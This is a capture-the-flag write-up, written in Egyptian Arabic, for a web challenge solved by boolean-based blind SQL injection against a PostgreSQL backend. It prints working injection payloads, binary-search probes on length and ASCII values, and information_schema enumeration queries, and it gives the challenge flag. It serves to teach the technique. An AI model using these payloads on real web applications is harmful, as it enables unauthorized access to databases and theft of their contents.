

Planetary Probe Directory (Blind PostgreSQL Injection)

التحدي: Galactic Federation — Planetary Probe Directory

الفلاج: `sun{bl1nd_psqli_2_rc3_p4Nd0FyZt8k2}`

النوع: Web / SQL Injection (Blind, Boolean-based)

الداتابيز: PostgreSQL

1. التحدي إيه بالضبط

التحدي عبارة عن صفحة فيها فورم بسيط، بتدخّل اسم كوكب (planet) والسيرفر بيردلك برد من اتنين بس، مفيش أي تفاصيل تانية:

- "Signal detected" → يعني تمام، الشرط صح
- "No signal" → يعني غلط، مفيش نتيجة

الحاجة الوحيدة اللي أنا قادر أتحكم فيها هي حقّ planet اللي بيتبع في رابط زي:

```
/probe?planet=...
```

بما إن الرد بس نعم/لا، من غير أي تفاصيل تانية، ده كان مؤشر واضح إن التحدي شغال على فكرة **Blind Boolean-based SQL Injection**.

2. إزاي عرفت إن فيه ثغرة

أول محاولة

```
' or 1=1-
```

الرد جالي "No signal" برغم إن ده لازم يبقى صح. المشكلة إن الكومنت - لوحده مش كفاية — في PostgreSQL (وMySQL كمان) لازم تحط مسافة بعد -- .

صلّحت الصياغة

```
' or 1=1-- -
```

النتيجة:  "Signal detected"

وعشان أتأكد إن الرد مش عشوائي، جربت الحالة العكسية:

```
' or 1=2-- -
```

النتيجة: "No signal" ✓

يعني أنا عندي Oracle حقيقي شغال، وأقدر أسأله أي سؤال نعم/لا وأعرف الإجابة.

3. عرفت الداتابيز نوعها إيه

أول حاجة فكرت إنها MySQL (لأنها الأشهر في التحديات زي دي)، فجربت:

```
' or length(database())>0-- -
```

رجعلي "No signal"، رغم إن الشرط لازم يبقى صح منطقيًا. الحقيقة إن دالة `database()` مش موجودة أصلًا في السيستم، فال query بيحصله error، وده بيترجم ك False تلقائيًا.

جربت بدالة PostgreSQL البديلة:

```
' or length(current_database())>0-- -
```

النتيجة: "Signal detected" ✓

يبقى الداتابيز دي PostgreSQL، مش MySQL. الفرق ده كان مهم جدًا عشان بنية `information_schema` مختلفة شوية بين الاثنين:

PostgreSQL	MySQL	المفهوم
<code>current_database()</code>	<code>database()</code>	اسم الداتابيز الحالية
<code>schema (زي public)</code>	<code>اسم الداتابيز =</code>	<code>table_schema</code>
<code>substring(str from pos for len)</code>	<code>SUBSTRING(str,pos,len)</code>	قص جزء من نص
<code>LIMIT 1 OFFSET n</code>	<code>LIMIT n,1</code>	Pagination

4. طريقة الاستخراج

بما إن الرد نعم/لا بس، معنديش طريقة أشوف بيها البيانات على طول زي ال UNION-based injection العادية. فبقيت محتاج أستخرج كل حاجة حرف حرف، عن طريق أسئلة نعم/لا متتالية، وعشان أسرع الموضوع استخدمت **Binary Search**.

إزاي بعرف طول أي نص

```
' or length((SELECT ...))>N-- -
```

يعمل binary search على الرقم N لحد ما أوصل للطول بالظبط، بدل ما أجرب كل رقم لوحده.

إزاي بعرف كل حرف

```
' or ascii(substring((SELECT ...) from POS for 1))>N-- -
```

يعمل binary search على قيمة الـ ASCII بتاعت كل حرف (من 32 لـ 126)، وده بيقلل عدد المحاولات من ~95 محاولة للحرف الواحد، لـ 7 محاولات بس. يعني بدل ما أستخرج نص طوله 30 حرف في 2850 محاولة، يستخرجه في حوالي 210 محاولة بس.

5. رحلة الاستكشاف

اسم الداتابيز

```
SELECT current_database()
```

→ spacedb

الـ Schemas

```
SELECT schema_name FROM information_schema.schemata  
WHERE schema_name NOT IN ('pg_catalog', 'information_schema', 'pg_toast')
```

→ schema بس: public

الجداول

```
SELECT table_name FROM information_schema.tables  
WHERE table_schema='public'
```

طلعلي 3 جداول:

1. planets — جدول شرعي، فيه بيانات كواكب عادية (id, name, diameter, description)
2. leak — ده اللي طلع منه الفلاج فعليًا
3. zleak — **فخ (Honeypot)** 🍯

الفخ اللي وقعت فيه: جدول zleak

لما استخرجت قيمة العمود v في zleak ، طلعي:

```
select v from zleak
```

يعني القيمة المخزنة هي نص الاستعلام نفسه! ده تكتيك بيستخدموه في تحديات CTF كثير — بيحطوا جدول باسم قريب من الاسم الصح (zleak قريب من leak) وبقيمة مضللة، عشان يمسكوا أي حد بيدور بشكل عشوائي من غير ما يتأكد إن القيمة اللي لقاهها منطقية أو شكلها زي الفلاج.

الدرس: لازم دائماً تتأكد من شكل القيمة اللي طلعتك قبل ما تقول "لقيت الفلاج"، ومتعتمدش بس على اسم الجدول.

الجدول الصح: leak

```
SELECT column_name FROM information_schema.columns
WHERE table_name='leak' AND table_schema='public'
```

→ عمود واحد بس: v

```
SELECT v FROM leak LIMIT 1
```

→ sun{bl1nd_psqli_2_rc3_p4Nd0FyZt8k2} ✓

6. الفلاج

sun{bl1nd_psqli_2_rc3_p4Nd0FyZt8k2}

7. الأتمة

استخراج كل حرف بإيدي مرهق جداً، فأستخدمت سكريبت Python بيعمل:

1. `is_true(condition)` — ويرجع payload بيبعت الـ True/False حسب "Signal detected"
2. `get_length()` — بطول أي نص binary search
3. `get_char()` — بتاعه ASCII لكل حرف عن طريق الـ binary search
4. `extract_string()` — بتجمع الحروف في نص كامل
5. منطق استكشاف كامل: rows → columns → tables → schemas، وبيفحص كل جدول مش بس اللي شكله صح، عشان يتفادى فخ الـ honeypot

8. أهم الدروس

1. صياغة الكومنت بتفرق: -- (بمسافة) ضرورية، غيرها الاستغلال مش بيشتغل.
2. متفترضش نوع الداتايز: database () بتاعه MySQL مختلفة عن current_database () بتاعه PostgreSQL — لازم تتحقق بنفسك.
3. بنية information_schema بتتغير من نظام لنظام ثاني.

4. Binary Search **بيسرّع الاستخراج بشكل رهيب**.

5. احذر الـ **Honeypots**: جداول بأسماء شبه الصح بقيم مضللة — دائماً تأكد من شكل البيانات قبل ما تقول لقيتها.

6. أسماء أعمدة فيها رموز خاصة (زي []) محتاجة "double quotes" في PostgreSQL عشان الاستعلام ميتكسرش.

الأدوات المستخدمة

- Python 3 + مكتبة `requests`
- Manual boolean-based blind SQL injection payloads
- Binary search algorithm للاستخراج السريع